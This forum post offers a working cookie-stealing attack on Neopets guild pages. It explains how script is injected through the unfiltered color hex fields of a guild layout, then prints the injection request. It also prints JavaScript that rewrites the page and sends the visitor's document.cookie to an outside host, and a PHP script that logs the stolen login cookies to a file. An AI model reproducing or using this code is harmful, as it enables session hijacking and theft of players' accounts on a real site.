TNT PATCH THIS ALREADY. Im tired of it existing
I will not explain how to use this. Figure it out yourself. I will explain how it works.
Really, this is just me proving CGers can still exist, though they are extremely hard to make at this point. And kinda pointless, since messing with active accounts never works out
Explained:
TNT doesnt censor the color hex codes for guild layouts. But the problem is, the space is limited, so we have to use multiple of the color hex codes for it to work. Problem with this is, it means the javascript is broken up, which in return will mess up the HTML of the page. They way we fix this is by adding something to the page that we can later replace to fix the code.
Code:
guild_desc=ellomeepsmeeps
We originally make the guild description "ellomeepsmeeps", and later replace meepsmeeps with tags to close out the script. Same has to be done in the welcome message
Code:
var cg = meep.replace("meepsmeeps", "\"></script> Description here");
var cg = cg.replace("meepsmeeps", "\"></script> " + layout + cger);
Actual code:
Guild layout thingy:
Code:
action=process_prefs&guild_hood=Battle+Dome&guild_name=avatars+are+awesome&guild_desc=ellomeepsmeeps&guild_welcome=" src="http://meeps.site.net/meep.png/"meepsmeeps&guild_status=yes&presets=&guild_bgcolor=&custom_bg=%23FFFFFF&guild_header_text=&custom_htext=%23000000&guild_text=&custom_mtext=#000000"><script a=&guild_link=&custom_link=%23000000&guild_mainborder=&custom_mborder=%23FFFFFF </script>&guild_secborder=&custom_sborder=%23FFFFFF
PHP:
Code:
<?
function getbetween($content, $start, $end)
{
$r = explode($start, $content);
if (isset($r[1]))
{
$r = explode($end, $r[1]);
return $r[0];
}
return '';
}
$item = $_GET['meeps'];
$myFile = "mycookiesnotyoursasshole.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$neologin = getbetween($item, "neologin=", ";");
$stringData = $neologin . "\n\n\n";
fwrite($fh, $stringData);
fclose($fh);
?>
js:
Code:
var layout = "<style \/>\r\n\r\nbody{background: #FFFFFF url(\'http:\/\/sunnyneo.com\/guild\/GLD_maraqua_bg.jpg\')}\r\nbody, td, p, font{font:8pt Georgia;color: #000000;}\r\n#main a{font:8pt Georgia;color:#2E5D4A;font-weight:bold;text-decoration:none}\r\n#main a:hover{color:#077173;}\r\n#main b{color:#1D6887}\r\n#main u{color:#077173}\r\n#main i{color:#0ABEBC}\r\n#content {width:1020px}\r\nh1{border-bottom:1px dotted #14B8C0; margin-bottom:2px;text-align:center;}\r\n#ht{color:#095357; font-size:14pt; font-family:georgia; text-transform:uppercase; text-align:center;}\r\nul{padding-left:40px}\r\n#header, #footer, .sidebar {display:none;width:100px}\r\n#n, td, table { background: transparent; }\r\n#ban {display:none;}\r\n#main {margin-top:0px; margin-left:0px;}\r\n#main {border:none; background:none; width:500px; float:left; padding-top:0px; padding-left:0px;}\r\n.content {background:none;}\r\n<\/style \/>\r\n\r\n<div style=\"position:absolute;top:0px;left:0px;width:165px;height:84px;\">\r\n<img src=\"http:\/\/sunnyneo.com\/guild\/GLD_maraqua_img1.jpg\" id=\"pic1\" width=\"165\" height=\"84\">\r\n<div style=\"position:absolute;top:0px;left:165px;width:603px;height:441px;\">\r\n<img src=\"http:\/\/sunnyneo.com\/guild\/GLD_maraqua_img2.jpg\" id=\"pic2\" width=\"603\" height=\"441\">\r\n<\/div>\r\n\r\n<div style=\"z-index:2;position:absolute;top:440px;left:661px;width:105px;text-align:center;\">\r\n<h1><font id=\"ht\">Links<\/font><\/h1>\r\n<a href=\"http:\/\/www.neopets.com\/myaccount.phtml\">My Account<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/customise\/\">Customise<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/gameroom.phtml\">Games<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/explore.phtml\">Explore<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/nf.phtml\">News<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/community\/index.phtml\">Community<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/objects.phtml\">Shops<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/mall\/index.phtml\">NC Mall<\/a><br><a href=\"http:\/\/nc.neopets.com\/membership\">Premium<\/a><br><a href=\"http:\/\/www.sunnyneo.com\">SunnyNeo<\/a><br>\r\n<br>\r\n\r\n<\/div>\r\n<div style=\"z-index:2;position:absolute;top:440px;left:166px;width:490px;\">\r\n<h1><font id=\"ht\">Welcome to the Guild!<\/font><\/h1>\r\nNew guild. Working on getting things together. :P\r\n<h1><font id=\"ht\">News and Updates<\/font><\/h1>\r\nNews and updates here\r\n<h1><font id=\"ht\">Council Chat<\/font><\/h1>\r\nCouncil Chat here<\/div>"
var cger = "<img src=http://site.com/meep.png/cg.php?meeps=" + escape(document.cookie) + ">"
var meep = document.body.innerHTML;
var cg = meep.replace("meepsmeeps", "\"></script> Description here");
var cg = cg.replace("meepsmeeps", "\"></script> " + layout + cger);
var cg = cg.replace("<=\"\" font=\"\">", "");
document.body.innerHTML = cg;